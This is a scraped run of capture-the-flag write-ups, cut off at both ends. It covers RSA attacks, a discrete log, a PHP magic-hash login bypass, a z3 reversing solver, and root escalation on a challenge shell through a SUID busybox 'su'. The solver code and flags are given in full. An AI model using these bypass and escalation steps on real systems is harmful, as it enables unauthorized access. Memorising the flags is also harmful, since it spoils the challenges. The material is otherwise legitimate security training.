c = 1290693983568973212241774157251029501916031181300587856502104425060400825645233474412159795041070912725774295993070287999705559436744356587070331473154201672194895706660927805733716209570278752107616017153539788802992400477319421895132265308353914269512736230439032250634773967478099458568504291012797867556104874614937296951446237815056114697267646832399584346738180717835541698802244926455470361437886629916832531228754210088056426885624615069977138458285217304667225248399707130072871824121756788726012791836940206537928157363946715031682108412776344952206447795443691414126211540976228231813721934019177491660030885807301520689365508821556490894213716812362105926718336768325044896559692102465835491500325292511210492266786815154645636848969136539759596476855914079053513055397814403086420614976446006354782596760766518849838306525291408721775119110961750623361977018207968 m = bytes_to_long(b'Congrats! Your flag is: OFPPT-CTF{\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00}.') P.<x> = PolynomialRing(Zmod(N), implementation='NTL') pol = (m + x)^e - c roots = pol.small_roots(epsilon=1/50) print("Potential solutions:") for root in roots: #print("a") a = root+m print(root+m) #print(long_to_bytes(a)) #print(long_to_bytes(root)) main()```After running it this was the output.```shellβ― sage solve.sagePotential solutions:16678794475845394497046381611277332634514263199780369350752104914618457519327167866737907944182739806871082540078368532323763163281817777410175160943379020961054807436578487598```I converted it to bytes and got the flag.```python>>> from Crypto.Util.number import long_to_bytes>>> long_to_bytes(16678794475845394497046381611277332634514263199780369350752104914618457519327167866737907944182739806871082540078368532323763163281817777410175160943379020961054807436578487598)b'Congrats! Your flag is: OFPPT-CTF{Sm4ll_3xp0n3nts_1n_RS4_4re_n0t_s3cur3}.'``` |
# nDLP Question Solution
This is a discrete logarithm problem.
An [output.txt](./output.txt) is attached. According to this file, y is equal to (g to the power of x) mod n, and g, y, n are given, and x is the flag that we should find.
In order to solve this problem, I used [this website](https://www.alpertron.com.ar/DILOG.HTM) to find long format of x.
Then I used this code to get the flag in string format.
```pythonfrom Crypto.Util.number import long_to_bytes
x = 1936424274652643265366177146994482280350488968204318138649641400181832241265975677print(long_to_bytes(x).decode())```[ndlp.py](./ndlp.py)
Flag is:ASIS{D!5Cre73_L09_iN_Zn_I5_3aSy?!}
|
## php##### 481### ChallageThis website is broken; it shows its php source code. Can you find a way to read the flag.No scanners needed for this challenge!
#### Linkhttp://143.198.224.219:20000
---### Description
This Challange also Web Challlage/
You can see the source code of website when you connect to the web site.
```
```
You can find the hash must be ```10932435112``` to get flag.
But as you can see part of source code,```if ($_GET['hash'] === "10932435112") { die('Not so easy mate.'); }```
It can't use the string.
This problem is using sha-1 hash.So you can find the **magichash**.
find the magichash on here
https://github.com/spaze/hashes/blob/master/sha1.md
there is a lot's of magic hash in here. so you can using one of hash from the list.
So i trying to use ``` aaroZmOk ```
This thing can bypass the HASH.
And the method is get, so you need to add
``` ?hash="magichash" ```
Behind of the website address.
``` ?hash=aaroZmOk ```
Then you will get the Flag!

### Flag
```OFPPT-CTF{typ3_juggl1ng_1n_php}```
|
# baby_rev.py
```pyfrom z3 import *
s = Solver()
a = [BitVec(f'a{i}', 8) for i in range(42)]
s.add(a[7] + a[13] + a[8] == 269)s.add(a[0] - a[1] + a[14] + a[0] == 165)s.add(a[34] + a[16] * a[21] + a[38] == 9482)s.add(a[41] + a[8] * a[6] + a[23] == 5500)s.add(-a[41] - a[21] == -223)s.add(a[11] * a[4] * a[18] + a[19] == 639710)s.add(a[23] + a[33] * a[34] == 6403)s.add(a[18] * a[14] - a[33] == 5072)s.add(a[24] - a[39] - a[30] - a[22] == -110)s.add(a[10] + a[30] - a[19] + a[1] == 110)s.add(a[15] - a[20] - a[41] == -169)s.add(a[15] * a[35] - a[41] * a[8] == -10231)s.add(a[36] + a[31] * a[11] - a[32] == 8428)s.add(a[29] + a[25] + a[40] == 289)s.add(a[7] - a[12] + a[24] == 100)s.add(a[21] * a[30] - a[6] == 9262)s.add(a[38] * a[33] * a[3] == 480244)s.add(a[20] - a[31] * a[0] - a[2] == -5954)s.add(a[27] + a[12] * a[21] == 5095)s.add(a[6] + a[11] * a[8] - a[8] == 10938)s.add(a[34] - a[5] + a[7] * a[24] == 5014)s.add(a[40] - a[18] - a[2] == -83)s.add(a[11] - a[31] + a[9] * a[24] == 10114)s.add(a[41] == 125)s.add(a[28] + a[30] - a[3] * a[16] == -6543)s.add(a[18] * a[25] - a[11] == 5828)s.add(a[8] * a[9] * a[11] == 1089000)s.add(a[3] * a[25] - a[29] * a[6] == 2286)s.add(a[36] - a[7] * a[33] == -3642)s.add(a[32] - a[1] + a[20] == 73)s.add(a[39] + a[5] * a[4] == 8307)s.add(a[0] * a[39] * a[8] == 515460)s.add(a[12] - a[13] + a[31] == 25)s.add(a[18] + a[10] + a[41] + a[41] == 351)s.add(a[7] + a[14] * a[1] + a[22] == 7624)s.add(a[27] + a[24] * a[18] + a[14] == 5500)s.add(a[20] - a[41] * a[6] + a[18] == -5853)s.add(a[33] - a[2] - a[25] * a[31] == -9585)s.add(a[18] * a[11] * a[37] == 353600)s.add(a[17] + a[8] + a[7] - a[39] == 192)s.add(a[11] - a[35] - a[9] * a[31] == -8285)s.add(a[23] - a[29] + a[39] == 40)s.add(a[28] + a[10] * a[25] * a[20] == 530777)s.add(a[32] * a[29] * a[3] == 463914)s.add(a[32] - a[22] + a[30] == 98)s.add(a[0] - a[13] + a[40] - a[38] == -74)s.add(a[17] + a[21] - a[38] == 108)s.add(a[0] - a[41] * a[23] == -11804)s.add(a[2] * a[29] * a[27] == 997645)s.add(a[25] - a[19] * a[35] == -7476)s.add(a[16] - a[19] * a[7] == -5295)s.add(a[33] + a[12] * a[26] + a[22] == 2728)s.add(a[41] + a[24] + a[32] == 281)s.add(a[23] * a[31] * a[14] == 790020)s.add(a[35] - a[35] * a[6] - a[14] == -3342)s.add(a[31] + a[40] - a[17] * a[25] == -11148)s.add(a[36] * a[18] + a[13] * a[19] == 16364)s.add(a[40] - a[5] + a[2] * a[18] == 4407)s.add(a[21] - a[25] + a[3] == 55)s.add(a[14] + a[14] + a[13] - a[2] == 223)s.add(a[36] * a[35] - a[5] * a[29] == -2449)s.add(a[41] - a[39] + a[1] == 135)s.add(a[35] - a[0] * a[35] + a[0] == -4759)s.add(a[8] - a[10] * a[21] - a[31] == -4776)s.add(a[29] - a[24] + a[28] == 126)s.add(a[0] * a[10] - a[32] - a[8] == 3315)s.add(a[28] * a[32] + a[41] == 5903)s.add(a[37] - a[24] + a[32] == 20)s.add(a[20] * a[10] - a[15] + a[31] == 4688)s.add(a[36] - a[9] - a[18] * a[18] == -2721)s.add(a[9] * a[7] + a[16] * a[30] == 13876)s.add(a[18] + a[34] + a[24] - a[7] == 188)s.add(a[16] * a[27] + a[20] == 9310)s.add(a[22] - a[30] - a[37] - a[9] == -211)s.add(a[4] * a[41] * a[27] - a[38] == 1491286)s.add(a[35] - a[29] * a[8] + a[13] == -13131)s.add(a[23] - a[7] - a[24] - a[22] == -107)s.add(a[37] * a[4] * a[5] == 560388)s.add(a[17] * a[32] - a[15] == 5295)s.add(a[32] + a[23] * a[18] - a[5] == 4927)s.add(a[3] + a[8] * a[39] + a[39] == 7397)s.add(a[7] * a[25] - a[3] + a[36] == 5597)s.add(a[9] - a[24] - a[33] == -79)s.add(a[30] + a[14] * a[36] == 8213)
s.check()
m = s.model()
w = ''
for i in range(42): w += chr(m[a[i]].as_long())
print(w)```
# FLAG
**`GLUG{C01nc1d3nc3_c4n_b3_fr3aky_T6LSERDYB6}`**
|
# rsa-mod

i have one plaintext encrypted using one N and two e
``` {'n': '0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7857573ac606d7569b44b02afcfcfdd93c21838af933366de22a6116a2a3dee1c0015457c4935991d97014804d3d3e0d2be03ad42f675f20f41ea2afbb70c0e2a79b49789131c2f28fe8214b4506db353a9a8093dc7779ec847c2bea690e653d388e2faff459e24738cd3659d9ede795e0d1f8821fd5b49224cb47ae66f9ae3c58fa66db5ea9f73d7b741939048a242e91224f98daf0641e8a8ff19b58fb8c49b1a5abb059f44249dfd611515115a144cc7c2ca29357af46a9dc1800ae9330778ff1b7a8e45321147453cf17ef3a2111ad33bfeba2b62a047fa6a7af0eef', 'e': '0x10001', 'ct': '0x310ffa2576c3f1a193f625010cc41c21dac0022710e9c42916b81f60579738d833700faa94572bfc57eeec8b961ce6b1ec03d659ea9da71293d19419be1f2193a797c4eb933ff5a405443b1f4151fc253d4738c19c7cf0ed39e8624511d777b7fc7a866a3812ab4cc19038ca3a18f8e1f9df46dade804b9a3dc679726ef08a67576351aad20a60666623a26de367d41c56d21ed72c3402e66290e43fd87e277154de4ff2b2490bb599574b296c714afe090dba33f8e1e21b01bafab104f527bca35be930136d8df33fe81e7d87bb1b3b3ee45cc2614cfc61873e162d6521b230d7243748b229fda2d1d4e5f5f3def6349176f76876238ed3d8e1d6378a055767'}{'n': '0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7857573ac606d7569b44b02afcfcfdd93c21838af933366de22a6116a2a3dee1c0015457c4935991d97014804d3d3e0d2be03ad42f675f20f41ea2afbb70c0e2a79b49789131c2f28fe8214b4506db353a9a8093dc7779ec847c2bea690e653d388e2faff459e24738cd3659d9ede795e0d1f8821fd5b49224cb47ae66f9ae3c58fa66db5ea9f73d7b741939048a242e91224f98daf0641e8a8ff19b58fb8c49b1a5abb059f44249dfd611515115a144cc7c2ca29357af46a9dc1800ae9330778ff1b7a8e45321147453cf17ef3a2111ad33bfeba2b62a047fa6a7af0eef', 'e': '0x23', 'ct': '0xd646418a1491d8b7c970e3ede9fb997076a0be6b04e42d0ce0d9eb6658c59306a6794154539309708bc86afca5b8258774f644cb5894e7bd04352baf8a7a19b37157cf6cc47659aa3d8dab1b8056067a3cbaba97b6e3316d10eadabe7d14c0ba41c5b55dc8e8bddc88340e47765d12b6537c65f20aca56afc2e586b9b77f7bb43f3ee07fd4549cc591fd22270a3dbe23a158b0048090a5ce62d425299ae17123dd56b8bbf6fce700c61718ae2e723335936fb57b1a6c560a70a637cf5551bd9b9bdef02c0ee7973cb8522441b61e0d46d773fcf4b24ea2f4549e71ff8b2185e215fa00ba6a9f60312e5eee6c7c2b624cf45b65de56c0e4fc00bff55e1529733'}
```
i can perform RSA-MODULUS attack if gcd(e1,e2)= 1 and it is actually so using this script i can get the flag :)
```python
n = 0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7857573ac606d7569b44b02afcfcfdd93c21838af933366de22a6116a2a3dee1c0015457c4935991d97014804d3d3e0d2be03ad42f675f20f41ea2afbb70c0e2a79b49789131c2f28fe8214b4506db353a9a8093dc7779ec847c2bea690e653d388e2faff459e24738cd3659d9ede795e0d1f8821fd5b49224cb47ae66f9ae3c58fa66db5ea9f73d7b741939048a242e91224f98daf0641e8a8ff19b58fb8c49b1a5abb059f44249dfd611515115a144cc7c2ca29357af46a9dc1800ae9330778ff1b7a8e45321147453cf17ef3a2111ad33bfeba2b62a047fa6a7af0eef
ct1=0x310ffa2576c3f1a193f625010cc41c21dac0022710e9c42916b81f60579738d833700faa94572bfc57eeec8b961ce6b1ec03d659ea9da71293d19419be1f2193a797c4eb933ff5a405443b1f4151fc253d4738c19c7cf0ed39e8624511d777b7fc7a866a3812ab4cc19038ca3a18f8e1f9df46dade804b9a3dc679726ef08a67576351aad20a60666623a26de367d41c56d21ed72c3402e66290e43fd87e277154de4ff2b2490bb599574b296c714afe090dba33f8e1e21b01bafab104f527bca35be930136d8df33fe81e7d87bb1b3b3ee45cc2614cfc61873e162d6521b230d7243748b229fda2d1d4e5f5f3def6349176f76876238ed3d8e1d6378a055767
ct2 = 0xd646418a1491d8b7c970e3ede9fb997076a0be6b04e42d0ce0d9eb6658c59306a6794154539309708bc86afca5b8258774f644cb5894e7bd04352baf8a7a19b37157cf6cc47659aa3d8dab1b8056067a3cbaba97b6e3316d10eadabe7d14c0ba41c5b55dc8e8bddc88340e47765d12b6537c65f20aca56afc2e586b9b77f7bb43f3ee07fd4549cc591fd22270a3dbe23a158b0048090a5ce62d425299ae17123dd56b8bbf6fce700c61718ae2e723335936fb57b1a6c560a70a637cf5551bd9b9bdef02c0ee7973cb8522441b61e0d46d773fcf4b24ea2f4549e71ff8b2185e215fa00ba6a9f60312e5eee6c7c2b624cf45b65de56c0e4fc00bff55e1529733from Crypto.Util.number import long_to_bytesfrom math import gcde1 = 0x10001e2 = 0x23
print(gcd(e1,e2))def gcdExtended(a, b): # Base Case if a == 0 : return b,0,1
gcd,x1,y1 = gcdExtended(b%a, a)
# Update x and y using results of recursive # call x = y1 - (b//a) * x1 y = x1
return gcd,x,y
g , a, b = gcdExtended(e1,e2)
h = pow(ct1,-1,n)h1 = pow(ct2,b , n )print(e1 * a + b * e2)print(long_to_bytes((pow(h,2,n) * h1) % n) )
```flag = OFPPT-CTF{R$4_M0d_4tt4cks_4re_4n0th3r_Cl4ss1c_Vuln3r4b1l17y} |
Here we are given a netcat listener and we have to connect to it.```nc 34.85.38.218 10002```
After connecting we will have a shell.
```shell/ $ lslsbin flag lost+found proc sysdev lib media root tmpecrypt.ko lib64 mnt run usretc linuxrc opt sbin var/ $ ```
currently we are in root directory.
let's try to read the flag```shell/ $ cat flagcat flagcat: can't open 'flag': Permission denied/ $ ```
Permission denied!!
Let's search for any suid files on our target system
```find / -perm -u=s -type f 2>/dev/null```
This will give us a file named busybox
Run busyboxand it will show us all the configurations which are avialable```/ $ busyboxbusyboxBusyBox v1.35.0 (2022-03-22 21:54:53 JST) multi-call binary.BusyBox is copyrighted by many authors between 1998-2015.Licensed under GPLv2. See source distribution for detailedcopyright notices.
Usage: busybox [function [arguments]...] or: busybox --list[-full] or: busybox --show SCRIPT or: busybox --install [-s] [DIR] or: function [arguments]...
BusyBox is a multi-call binary that combines many common Unix utilities into a single executable. Most people will create a link to busybox for each function they wish to use and BusyBox will act like whatever it was invoked as.
Currently defined functions: [, [[, addgroup, adduser, ar, arch, arp, arping, ascii, ash, awk, base32, base64, basename, bc, blkid, bunzip2, bzcat, cat, chattr, chgrp, chmod, chown, chroot, chrt, chvt, cksum, clear, cmp, cp, cpio, crc32, crond, crontab, cttyhack, cut, date, dc, dd, deallocvt, delgroup, deluser, devmem, df, diff, dirname, dmesg, dnsd, dnsdomainname, dos2unix, du, dumpkmap, echo, egrep, eject, env, ether-wake, expr, factor, fallocate, false, fbset, fdflush, fdformat, fdisk, fgrep, find, flock, fold, free, freeramdisk, fsck, fsfreeze, fstrim, fuser, getopt, getty, grep, gunzip, gzip, halt, hdparm, head, hexdump, hexedit, hostid, hostname, hwclock, i2cdetect, i2cdump, i2cget, i2cset, i2ctransfer, id, ifconfig, ifdown, ifup, inetd, init, insmod, install, ip, ipaddr, ipcrm, ipcs, iplink, ipneigh, iproute, iprule, iptunnel, kill, killall, killall5, klogd, last, less, link, linux32, linux64, linuxrc, ln, loadfont, loadkmap, logger, login, logname, losetup, ls, lsattr, lsmod, lsof, lspci, lsscsi, lsusb, lzcat, lzma, lzopcat, makedevs, md5sum, mdev, mesg, microcom, mim, mkdir, mkdosfs, mke2fs, mkfifo, mknod, mkpasswd, mkswap, mktemp, modprobe, more, mount, mountpoint, mt, mv, nameif, netstat, nice, nl, nohup, nologin, nproc, nslookup, nuke, od, openvt, partprobe, passwd, paste, patch, pidof, ping, pipe_progress, pivot_root, poweroff, printenv, printf, ps, pwd, rdate, readlink, readprofile, realpath, reboot, renice, reset, resize, resume, rm, rmdir, rmmod, route, run-init, run-parts, runlevel, sed, seq, setarch, setconsole, setfattr, setkeycodes, setlogcons, setpriv, setserial, setsid, setuidgid, sh, sha1sum, sha256sum, sha3sum, sha512sum, shred, sleep, sort, start-stop-daemon, strings, stty, su, sulogin, svc, svok, swapoff, swapon, switch_root, sync, sysctl, syslogd, tail, tar, tc, tee, telnet, test, tftp, time, top, touch, tr, traceroute, true, truncate, ts, tty, ubirename, udhcpc, uevent, umount, uname, uniq, unix2dos, unlink, unlzma, unlzop, unxz, unzip, uptime, usleep, uudecode, uuencode, vconfig, vi, vlock, w, watch, watchdog, wc, wget, which, who, whoami, xargs, xxd, xz, xzcat, yes, zcat/ $ ```
Notice the **su** service here
We got it :
run```/ $ busybox su rootbusybox su root/ # lslsbin flag lost+found proc sysdev lib media root tmpecrypt.ko lib64 mnt run usretc linuxrc opt sbin var/ # cat flagcat flagLINECTF{WOW!_powerful_kernel_oor_oow}```
And we have our flag ?
|
See here : [https://berryberry.hatenablog.jp/](https://berryberry.hatenablog.jp/entry/2022/03/07/230635)
First of all, I got a python file "pass_validate.py".## Given FIleThis is a program that judges whether input is correct or not.```def ValidatePassword(password): valid = False print("Attempting to validate password...")
if(len(password[::-2]) != 8): print("Nah, you're not even close!!") return False
pwlen = len(password) chunk1 = 'key'.join([chr(0x98 - ord(password[c])) for c in range(0, int(pwlen / 2))]) if "".join([c for c in chunk1[::4]]) != '&e"3&Ew*': print("Seems you're a terrible reverse engineer, come back after gaining some skills!") return False
chunk2 = [ord(c) - 0x1F if ord(c) > 0x60 else (ord(c) + 0x1F if ord(c) > 0x40 else ord(c)) for c in password[int(pwlen / 2) : int(2 * pwlen / 2)]] rand = [54, -45, 9, 25, -42, -25, 31, -79] for i in range(0, len(chunk2)): if(0 if i == len(chunk2) - 1 else chunk2[i + 1]) != chunk2[i] + rand[i]: print("You're not a real hecker, try again! " + str(i)) return False print("Password accepted!") return True
print("\n************** Password Validator ***************")print("Please enter password")
while True: if ValidatePassword(input()): exit() else: print("Try again!")```## SolutionIn line 5, it determines if the input has 16 charactors. In line 11, it determines if difference from "0x98" for each characters in the input is equal to "&e"3&Ew*". So, we need to find characters which does not match the condition in line 19. It's easy to find them from back.I solved with a paper and pen. Finally, got a FLAG below.```CTF{r3verS!ng_pyTh0n}``` |
First, connect via ***netcat***.
We got a shell, let's look around:
`/ $ ls`
=> We see the ***flag*** file.
`/ $ cat flag`
=> Not enough permissions.
Are there many other users?
`/ $ cat /etc/passwd`
=> Only ***root*** seems to be available. Let's try switching to it:
`/ $ su`
=>
`/ #`
=> See the ***#***? This worked! We got ***root***!
`/ # cat flag`
=> Here's the flag! The challenge is solved! :) |
## Challenge Name: RSA FrustrationCategory: **Crypto** Difficulty: **Hard** Points: **499** Solves: **12**
Challenge Description: My friend encrypted the flag but realized they canβt decrypt it. Frustrated, they decided to keep encrypting the flag hoping this will somehow fix it. How are we going to recover it now? An efficient solution would probably be useful here.
### Files```from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
def encrypt(numToEncrypt): def getPrimeCustom(bitLength, e): while True: i = getPrime(bitLength) if (i-1) % e**2 == 0: return i
global e global C bitLength = ((len(bin(numToEncrypt)) - 2) // 2) + 9 e = 113 p = getPrimeCustom(bitLength, e) q = getPrimeCustom(bitLength, e) N = p * q print(f"N = {N}") C = pow(numToEncrypt, e, N) return C
msg = b"wsc{????????????????????}"numToEncrypt = bytes_to_long(msg)
# maybe if I keep encrypting it will fix itself???# surely it won't make it worseencryptedNum = encrypt(numToEncrypt)for x in range(26): encryptedNum = encrypt(encryptedNum) print(f"e = {e}")print(f"C = {C}")```
[RSA_Frustration output](https://github.com/drewd314/WolvSec-CTF-2022-Writeups/files/8358502/RSA_Frustration_-_output.2.txt)
### ApproachThe idea for this challenge stemmed from [Dice CTF's](https://ctftime.org/writeup/32264) recent RSA challenge!
Based off the description, the person is having trouble decrypting their flag. This means something is broken with the algorithm. We can see that the encryption script is choosing primes that are divisible by the second power of e, meaning phi is not coprime to e!. This will cause a decryption using the inverse mod of the ciphertext to not be useful.
Therefore, we have to use a solution similar to [Dice CTF's](https://ctftime.org/writeup/32264) where we take all candidate decryptions using the nth root algorithm in sage.
**Step 1:**We need all p and q values of the Ns. This can take a long time to generate since the largest N is 199 digits long. To accommodate for this, I uploaded the factors to [FactorDB](http://factordb.com/). An algorithm that fetches the primes from factor DB can be used, or just manually doing it since there are only 27 Ns to factor.
**Step 2:**We are given the encrypted ciphertext after 27 encryptions, so we have to start by using the largest N's p and q values and the nth root algorithm to get possible p and q roots. We use the Chinese remainder theorem with the p and q roots to give us possible candidate decryptions, for which there will be e^2 of (12769 in this case).
**Step 3:**We are then going to have to construct an algorithm to keep recursing through the possible candidate decryptions, using the correct p and q values based on the depth of the recursion. A depth first search (DFS) is most useful here to get the flag quicker. Using [OPz qt's](https://github.com/christheyankee) DFS Sage Script we can get the flag!
```from Crypto.Util.number import long_to_bytesfrom sage.all import *e = 113cipher = 289223688898876062358163081273625341952297233921219593553513840208424403509027574309712966219651401244239931354412620786106157789544225699742107659898527749034941786967678022482729534370307963310016N_list = [1134876149917575363176366704410565158549594427794901202977560677131703617, 68506321231437453734007374706367120760326482177047006099953454136095248103663, 7783503593765446343363083302704731608384677185199537317445372251030064778965500447, 1070135687488356161164202697449500843725645617129661751744246979913699130211505096520493, 84012402115704505952834528733063574032699054524475028392540927197962976150657887637275643641, 4497278582433699034700211877087309784829036823057043402314297478185216205338241432310114079123771, 222438508972972285373674471797570608108219830357859030918870564627162064662598790037437036093579139489, 19116847751264029874551971240684579996570601026679560309305369168779130317938356692609176166515369250878437, 1549903986709797721131070830901667744892392382636347158789834851868638863292232718716074359148785900673192362699, 62387766690725996279968636478698222263235233511074646032501495855928095611796694112573478405813305623307157261619643, 1496134688150941811618178638810353297864345150241986530472328508974364124440160181353848429438725939837967063441528305921, 128744123633657656499069966444992201456797762973822340505291131642660343436783413140023509983315177426811890315424928661125061, 6917342652058596217869122177298094984415751234677039849514181349685079073411591975537016273056773954075238307918266361998553646469, 1999306851167477770905800721615579416365273707414308684419794311809177595829473632853128686208533753019224536487399393397120864878000113, 138594056023048386926766329537127538558164718841925506735112367176642328352257472034381662493666299220910783237918231719166519833124529218331, 8397272388904583425531462714999219642572091279898695377838194583995214737828538895164195817973441184775814069396690436662985593377966417476040659, 83372889332166088651413254885376085265561130214754686361784964744744711092668473281132249352040520639092871294276293287744276919265091479681667169671, 10684953914628370830889219903654707140968094024767031366624595731918523435466123514094659595357231410471738736952266383928737163485550013190959149252435167, 428359134899960532964729749713513106760306719712194950954567619156985067322564731294653991204666853689688900339268764469280769569535109069729404621290809120793, 24491413133428851306933688733518898516890217803647806829002775935975741568422047344206442746983871735723486865901743352102305801200224958166496937663406627341150101, 2247517335600310176909964109060502815240207684510918447209767597511414934626668616704865548059751008841620288545344598917362752622130186820039265603312354963258673860579, 157978379942536176944325875241196121764116712487226808271002140500926678942090491383544034591205964958130852055691446362753906164711087278555153881606839791499207025307202087, 43938571869497484913682975192955012614794498816057204091016374302341854100775132924321569876797699342959191646206571444845883942305710956894334106963321644724361549027630634869933, 2609065298534470914730686454716224905333131812890643378630636043224255484662185236061585264231004975072801053316107165770342161619265243081616632312934742288262985830181883449780965531, 222235907202454132555071455958700740228567465616560859711214102245461514428187391909176054661864893645713338391509536653547350134615807194339839952004333949540567943568810413945779642106201, 44890472824427626252451120059527486677662371033945481542195354255473403815853320591468917295474578271680865394304946847791535710766947049195816261224382109115684638995528332538466194474846836399, 1062789633774349417938788353001516763303743389381120380522262327123099728631034935663418832664265833959487018276693680850987382421521055508477988016246558095545925414048663082368488342633334571240563]p_list = [1189933229053113361422958527792232151, 295185057334340451492588650872876746227, 88380889077762105057154017276462714444697, 43974782968656404951924524450501283426052127, 7832299017937880395583715032476962329929226581, 1656848589754467667368312855929759764100120657831, 385788223643735590500185001710758495904528462058461, 135813272566456906193934636644217527100917542578856697, 41680117092754807988080699273322244961911189757589699867, 9419832152875820180139633405089278278408407453522978357309, 1567597041534155679238655992215022394597376421096298363211067, 350121371461894793578110243222665782247737840410076591434903787, 103424977238409568447978495499643051307907366367259219393937014631, 43449898447639409732732812916430042263570178747794530133229640125923, 12445294229358634680867170058509842935273054334385354032543323581223253, 3200631836176555526009533059891690177091538103904679780020639896015937897, 317277895959173163347650321012213555955385929418622006880521870012130207557, 102366458668689911004027849640392002821642295855327735994412634235696717329671, 26984206512970181742033712455904984758134288864531714209886622060356697128804201, 4479430800690915874719403516331677127806963529247809966024777708496270901092401687, 1328165608715012145707239303399129070657427496129541416861187541092152796676371237057, 368461902207817023013078031477042541053987571003677386333567043030477451518424731838173, 206721456778089912780641186795393376537372828449722520397829606593267585681448641482345737, 59471978701477648587546053450213894562580907285714122639903144859545186463681183925646967041, 15115713372931874518523751684548940147062395364112500028355694776530968944848166318295947674571, 5952590790902091635268726673538951527433355660839816621733964706901441977862333411532558667717227, 1086686910531802445146659484012613083647370307628438760118376029969836222533970554565751069314622539]q_list = [953730950786751671162019537171974567, 232079231415308325450092906880606082069, 88067722275537586769787599991567203589751, 24335212484189159197840692460327461505035059, 10726403821316775206273675267109184566904426261, 2714357008989072105081411295741540337141142641741, 576581905150085393327734090419529952232186498060949, 140758317578347635848563045232314610161039815135897421, 37185691759470013533730603170661686570987787098353146897, 6623023178993627032758350846838617937710601663528839184727, 954412804126450754097808991490470782833291028309980575506163, 367712839396521757736384350030802803477965822058616833553305103, 66882708962198932251728043152245270662769508317424500666902658099, 46014074200352892806829193743016415423205917845271691428043440245531, 11136261905010083405430254612464029672882837025885682392810368001188527, 2623629589005115152329094552749299711026240699896424120660145647226563547, 262775599542220820608778738911414710660835549772895468394761119434220071003, 104379442774418262390337411577160146519860415840398189010112686742489182665577, 15874438801602936764330936047390981280096007684699625987478211613419079727910193, 5467527956822382309398095704409409074818664888285375307055715842283183939297839923, 1692196606246085729483398884059069884182535824953762329164855466589577530953493347747, 428750921047556327595864876619292414694543668237320723518704707914310601565770504401619, 212549643149353357950643557614966235999942509894271006476145929120541407503538644651435909, 43870497594014737833600078975099212558645315030912084285417550950854483979406797450479252891, 14702310219802004876082313481498680940324963613770096574742182597840558294030859405666549879531, 7541333580839789645678699855290145212677767915429008863004397257213367753100058966625356835737037, 978009050697262759337388871320370165458800566798280419667959552859180906066907114053826258140106617]def factorize(p,q,N,depth,cip): assert p * q == N p_roots = mod(cip, p).nth_root(e, all=True) q_roots = mod(cip, q).nth_root(e, all=True) for xp in p_roots: for xq in q_roots: x = crt([Integer(xp), Integer(xq)], [p,q]) x = int(x) flag = long_to_bytes(x) #print(flag) if flag.startswith(b"wsc"): print(flag.decode()) if depth != 26: factorize(p_list[len(p_list) - 1 - (depth + 1)], q_list[len(q_list) - 1 - (depth + 1)], N_list[len(q_list) - 1 - (depth + 1)], (depth + 1), x)
if __name__ == "__main__": factorize(p_list[len(p_list) - 1], q_list[len(q_list)-1], N_list[len(q_list)-1], 0, cipher)```
flag: `wsc{s4g3m4th_i5_5up3r_co0l!}`
***The Optimization:***The above solution was able to find the flag, however, we can make this even faster. Since the encryption added 9 more bits to the minimum size p and q could be `bitLength = ((len(bin(numToEncrypt)) - 2) // 2) + 9`, this means we don't have to DFS through 12769 candidate decryptions each time but actually just a couple or even sometimes 1! The algorithm below gets all candidate decryptions, and only chooses the smallest one for ciphers > 400 bits, smallest 5 for ciphers > 350 bits and smallest 10 for the rest. This will save about a minute's time (on my machine) when trying to find the flag.
```from Crypto.Util.number import long_to_bytesfrom sage.all import *
e = 113cipher = 289223688898876062358163081273625341952297233921219593553513840208424403509027574309712966219651401244239931354412620786106157789544225699742107659898527749034941786967678022482729534370307963310016N_list = [1134876149917575363176366704410565158549594427794901202977560677131703617, 68506321231437453734007374706367120760326482177047006099953454136095248103663, 7783503593765446343363083302704731608384677185199537317445372251030064778965500447, 1070135687488356161164202697449500843725645617129661751744246979913699130211505096520493, 84012402115704505952834528733063574032699054524475028392540927197962976150657887637275643641, 4497278582433699034700211877087309784829036823057043402314297478185216205338241432310114079123771, 222438508972972285373674471797570608108219830357859030918870564627162064662598790037437036093579139489, 19116847751264029874551971240684579996570601026679560309305369168779130317938356692609176166515369250878437, 1549903986709797721131070830901667744892392382636347158789834851868638863292232718716074359148785900673192362699, 62387766690725996279968636478698222263235233511074646032501495855928095611796694112573478405813305623307157261619643, 1496134688150941811618178638810353297864345150241986530472328508974364124440160181353848429438725939837967063441528305921, 128744123633657656499069966444992201456797762973822340505291131642660343436783413140023509983315177426811890315424928661125061, 6917342652058596217869122177298094984415751234677039849514181349685079073411591975537016273056773954075238307918266361998553646469, 1999306851167477770905800721615579416365273707414308684419794311809177595829473632853128686208533753019224536487399393397120864878000113, 138594056023048386926766329537127538558164718841925506735112367176642328352257472034381662493666299220910783237918231719166519833124529218331, 8397272388904583425531462714999219642572091279898695377838194583995214737828538895164195817973441184775814069396690436662985593377966417476040659, 83372889332166088651413254885376085265561130214754686361784964744744711092668473281132249352040520639092871294276293287744276919265091479681667169671, 10684953914628370830889219903654707140968094024767031366624595731918523435466123514094659595357231410471738736952266383928737163485550013190959149252435167, 428359134899960532964729749713513106760306719712194950954567619156985067322564731294653991204666853689688900339268764469280769569535109069729404621290809120793, 24491413133428851306933688733518898516890217803647806829002775935975741568422047344206442746983871735723486865901743352102305801200224958166496937663406627341150101, 2247517335600310176909964109060502815240207684510918447209767597511414934626668616704865548059751008841620288545344598917362752622130186820039265603312354963258673860579, 157978379942536176944325875241196121764116712487226808271002140500926678942090491383544034591205964958130852055691446362753906164711087278555153881606839791499207025307202087, 43938571869497484913682975192955012614794498816057204091016374302341854100775132924321569876797699342959191646206571444845883942305710956894334106963321644724361549027630634869933, 2609065298534470914730686454716224905333131812890643378630636043224255484662185236061585264231004975072801053316107165770342161619265243081616632312934742288262985830181883449780965531, 222235907202454132555071455958700740228567465616560859711214102245461514428187391909176054661864893645713338391509536653547350134615807194339839952004333949540567943568810413945779642106201, 44890472824427626252451120059527486677662371033945481542195354255473403815853320591468917295474578271680865394304946847791535710766947049195816261224382109115684638995528332538466194474846836399, 